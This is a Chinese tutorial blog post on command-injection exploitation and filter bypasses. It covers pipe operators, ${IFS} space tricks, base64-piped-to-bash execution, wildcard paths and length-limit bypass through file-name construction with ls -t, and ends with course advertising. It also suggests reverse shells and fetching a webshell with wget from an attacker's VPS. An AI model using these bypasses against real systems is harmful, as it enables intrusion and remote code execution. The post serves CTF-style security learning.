命令执行漏洞利用及绕过方式总结,从零基础到精通,收藏这篇就够了!

命令注入常见的方法

1.常见管道符

Windows系统支持的管道符

Linux系统支持的管道符

2.空格过滤

${IFS}

重定向符<>

%09(需要php环境)

3.黑名单绕过

拼接

base64编码

单引号,双引号

反斜线

$1, 2 等和 2等和 2等和@

4.读文件绕过

5.通配符绕过

6.内敛执行绕过

7.绕过长度限制

Linux中的>符号和>>符号

Linux中命令换行

利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)

逐一分析

1.常见管道符

Windows系统支持的管道符

|直接执行后面的语句

||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

&前面和后面命令都要执行,无论前面真假

&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

Linux系统支持的管道符

|、||、&、&&这四种管道符都存在且用法和Windows系统下一样,多了一个;管道符,作用和&一样

2.空格过滤

${IFS}

payload1:

payload2:

payload3:

重定向符<>

payload1:

payload2:

%09(需要php环境)

黑名单绕过

拼接

base64编码

payload1:

root@kali:~# \`echo "Y2F0IGZsYWc="|base64 -d\`  
this is your flag

payload2:

root@kali:~# echo "Y2F0IGZsYWc="|base64 -d|bash  
this is your flag

单引号,双引号

反斜线

$1, 2 等和 2等和 2等和@

读文件绕过

当cat被过滤时,可以使用如下命令代替

 1 (1)more:一页一页的显示档案内容  
 2 (2)less:与 more 类似,但是比 more 更好的是,他可以\[pg dn\]\[pg up\]翻页  
 3 (3)head:查看头几行  
 4 (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示  
 5 (5)tail:查看尾几行  
 6 (6)nl:显示的时候,顺便输出行号  
 7 (7)od:以二进制的方式读取档案内容  
 8 (8)vi:一种编辑器,这个也可以查看  
 9 (9)vim:一种编辑器,这个也可以查看  
10 (10)sort:可以查看  
11 (11)uniq:可以查看  
12 (12)file -f:报错出具体内容

通配符绕过

比如

 1 root@kali:~# /???/?\[a\]\[t\] ?''?''?''?''  
 2 this is your flag 3 xx  
 4 cc  
 5 xa  
 6 /bin/cat: test: 是一个目录  
 7 root@kali:~# /???/?at flag  
 8 this is your flag 9 xx  
10 cc  
11 xa  
12 root@kali:~# /???/?at ????  
13 this is your flag14 xx  
15 cc  
16 xa  
17 /bin/cat: test: 是一个目录  
18 root@kali:~# /???/?\[a\]''\[t\] ?''?''?''?''  
19 this is your flag20 xx  
21 cc  
22 xa  
23 /bin/cat: test: 是一个目录

内敛执行绕过

`命令`和$(命令)都是执行命令的方式

绕过长度限制

Linux中的>符号和>>符号

(1)通过>来创建文件

(2)通过>将命令结果存入文件中
使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建该文件再存入

(3)>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容

Linux中命令换行

在Linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加\,可以将一条命令写在多行
比如一条命令cat flag可以如下表示

既然可以这样那我们是不是可以在某些限制长度的情况下执行命令,将命令一条一条输入一个文本中再执行,尝试一下

root@kali:~# echo "ca\\\\"\>cmd  
root@kali:~# echo "t\\\\"\>>cmd  
root@kali:~# echo " fl\\\\"\>>cmd  
root@kali:~# echo "ag"\>>cmd  
root@kali:~\# cat cmd  
ca\\  
t\\  
 fl\\  
ag  
root@kali:~\# sh cmd  
this is your flag

用这种方法可以绕过一些长度限制读取文件内容。微信搜索公众号:Linux技术迷,回复:linux 领取资料 。

利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)

linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)

root@kali:~/example# touch a  
root@kali:~/example# touch b  
root@kali:~/example# touch c  
root@kali:~/example# ls -t  
c  b  a

我们来看看ls -t>ghtwf01有什么效果(开始不存在ghtwf01这个文件)

root@kali:~/example# ls -t>ghtwf01  
root@kali:~/example# cat ghtwf01   
ghtwf01  
c  
b  
a

这条命令先执行了创建ghtwf01文件然后将ls -t的执行结果写入ghtwf01文件
我们试试用这些方法来执行命令cat flag

root@kali:~/example# > "ag"  
root@kali:~/example# > "fl\\\\"  
root@kali:~/example# > "t \\\\"  
root@kali:~/example# > "ca\\\\"  
root@kali:~/example# ls -t  
'ca\\'  't \\'  'fl\\'   ag   flag  
root@kali:~/example# ls -t > a  
root@kali:~/example# sh a  
a: 1: a: not found  
this is your flag  
a: 6: flag: not found

读取到了flag内容为this is your flag,无论这个文件里面有不有其它内容都能执行
总而言之文件构造绕过就是如下知识:

linux下可以用 1\>a创建文件名为a的空文件  
ls \-t>test则会将目录按时间排序后写进test文件中  
sh命令可以从一个文件中读取命令来执行

反弹shell命令比较长就可以用这种方式去绕过长度限制
如果服务器能连外网还可以使用命令wget 网址 -O shell.php去执行我们自己vps上面的木马文件。

参考:https://www.ghtwf01.cn/index.php/archives/273/``作者:My_Dreams``原文链接:https://www.cnblogs.com/zzjdbk/p/13491028.html

注:如有侵权请联系删除

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包,需要点击下方链接即可前往获取

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
在这里插入图片描述

在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
在这里插入图片描述

在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

在这里插入图片描述

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值